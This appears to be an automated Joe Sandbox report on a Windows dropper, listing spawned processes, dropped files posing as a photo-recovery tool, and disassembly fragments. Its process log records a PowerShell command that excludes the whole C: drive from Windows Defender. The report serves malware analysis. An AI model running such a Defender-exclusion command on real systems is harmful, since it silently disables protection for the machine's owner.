Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Process created: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe "C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe"
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Process created: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp "C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp" /SL5="$303D6,3759395,56832,C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Process created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe "C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe" -i
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Remove-MpPreference -ExclusionPath C:\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Process created: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe "C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe"	Jump to behavior
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Process created: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe "C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Remove-MpPreference -ExclusionPath C:\	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Process created: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp "C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp" /SL5="$303D6,3759395,56832,C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Process created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe "C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe" -i	Jump to behavior

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report dxRwXy19pq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
dxRwXy19pq.exe

Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Unpacked PE file: 0.2.dxRwXy19pq.exe.400000.0.unpack "YR:EW;b.bbb:EW;Unknown_Section2:W; vs "YR:ER;b.bbb:ER;Unknown_Section2:W;
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Unpacked PE file: 14.2.photorecoverylib59.exe.400000.0.unpack .text:EW;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Source: dxRwXy19pq.exe	Static PE information: section name: "YR
Source: dxRwXy19pq.exe	Static PE information: section name: b.bbb
Source: dxRwXy19pq.exe	Static PE information: section name: bbS
Source: VzUtW_3288.sys.5.dr	Static PE information: section name: css0
Source: is-N40N4.tmp.13.dr	Static PE information: section name: /4
Source: is-N40N4.tmp.13.dr	Static PE information: section name: /19
Source: is-N40N4.tmp.13.dr	Static PE information: section name: /35
Source: is-N40N4.tmp.13.dr	Static PE information: section name: /51
Source: is-N40N4.tmp.13.dr	Static PE information: section name: /63
Source: is-N40N4.tmp.13.dr	Static PE information: section name: /77
Source: is-N40N4.tmp.13.dr	Static PE information: section name: /89
Source: is-N40N4.tmp.13.dr	Static PE information: section name: /102
Source: is-N40N4.tmp.13.dr	Static PE information: section name: /113
Source: is-N40N4.tmp.13.dr	Static PE information: section name: /124
Source: sqlite3.dll.14.dr	Static PE information: section name: /4
Source: sqlite3.dll.14.dr	Static PE information: section name: /19
Source: sqlite3.dll.14.dr	Static PE information: section name: /35
Source: sqlite3.dll.14.dr	Static PE information: section name: /51
Source: sqlite3.dll.14.dr	Static PE information: section name: /63
Source: sqlite3.dll.14.dr	Static PE information: section name: /77
Source: sqlite3.dll.14.dr	Static PE information: section name: /89
Source: sqlite3.dll.14.dr	Static PE information: section name: /102
Source: sqlite3.dll.14.dr	Static PE information: section name: /113
Source: sqlite3.dll.14.dr	Static PE information: section name: /124

Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Code function: 2_2_00007FF88B4C4802 push eax; ret	2_2_00007FF88B4C4811
Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Code function: 2_2_00007FF88B4C00BD pushad ; iretd	2_2_00007FF88B4C00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF88A9FD2A5 pushad ; iretd	10_2_00007FF88A9FD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF88AB100BD pushad ; iretd	10_2_00007FF88AB100C1
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_004065C8 push 00406605h; ret	12_2_004065FD
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_004040B5 push eax; ret	12_2_004040F1
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_00408104 push ecx; mov dword ptr [esp], eax	12_2_00408109
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_00404185 push 00404391h; ret	12_2_00404389
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_00404206 push 00404391h; ret	12_2_00404389
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_0040C218 push eax; ret	12_2_0040C219
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_004042E8 push 00404391h; ret	12_2_00404389
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_00404283 push 00404391h; ret	12_2_00404389
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_00408F38 push 00408F6Bh; ret	12_2_00408F63
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004849F4 push 00484B02h; ret	13_2_00484AFA
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0040995C push 00409999h; ret	13_2_00409991
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00458060 push 00458098h; ret	13_2_00458090
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004860E4 push ecx; mov dword ptr [esp], ecx	13_2_004860E9
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004062C4 push ecx; mov dword ptr [esp], eax	13_2_004062C5
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004783C8 push ecx; mov dword ptr [esp], edx	13_2_004783C9
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004104F0 push ecx; mov dword ptr [esp], edx	13_2_004104F5
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00412938 push 0041299Bh; ret	13_2_00412993
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0049AD44 pushad ; retf	13_2_0049AD53
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0040CE48 push ecx; mov dword ptr [esp], edx	13_2_0040CE4A
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00459378 push 004593BCh; ret	13_2_004593B4
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0040F3A8 push ecx; mov dword ptr [esp], edx	13_2_0040F3AA
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0040546D push eax; ret	13_2_004054A9
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004434B4 push ecx; mov dword ptr [esp], ecx	13_2_004434B8
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0040553D push 00405749h; ret	13_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004055BE push 00405749h; ret	13_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0040563B push 00405749h; ret	13_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004056A0 push 00405749h; ret	13_2_00405741

Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\libGLESv2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\icuuc51.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Temp\is-NKCMI.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\msvcp100.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\is-9CIKO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	File created: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\is-9TUU2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\is-G5VHU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\is-N40N4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	File created: C:\ProgramData\PhotoRecoveryLib\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\msvcr100.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\is-HHAV6.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\silk[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe	File created: C:\Windows\Temp\VzUtW_3288.sys	Jump to dropped file
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	File created: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\is-4V98D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	File created: C:\Users\user\AppData\Local\Temp\d.ghSlh.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\libEGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\001[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	File created: C:\ProgramData\PhotoRecoveryLib\PhotoRecoveryLib.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\Qt5Concurrent.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\is-DLELP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Temp\is-NKCMI.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\uninstall\is-PDB6I.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\Qt5PrintSupport.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\is-C06F8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\is-0N6LU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\uninstall\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	File created: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\icuin51.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	File created: C:\Users\user\AppData\Local\Temp\is-NKCMI.tmp\_isetup\_shfoldr.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00423C1C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	13_2_00423C1C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00423C1C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	13_2_00423C1C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004241EC IsIconic,SetActiveWindow,SetFocus,	13_2_004241EC
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004241A4 IsIconic,SetActiveWindow,	13_2_004241A4
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00418394 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	13_2_00418394
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004843A8 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,	13_2_004843A8
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0042286C SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	13_2_0042286C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0042F2F0 IsIconic,GetWindowLongA,GetWindowLongA,GetActiveWindow,MessageBoxA,SetActiveWindow,GetActiveWindow,MessageBoxA,SetActiveWindow,	13_2_0042F2F0
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004175A8 IsIconic,GetCapture,	13_2_004175A8
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00417CDE IsIconic,SetWindowPos,	13_2_00417CDE
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00417CE0 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	13_2_00417CE0

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7444, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Memory allocated: 12A0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Memory allocated: 1AF30000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7168	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2652	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3242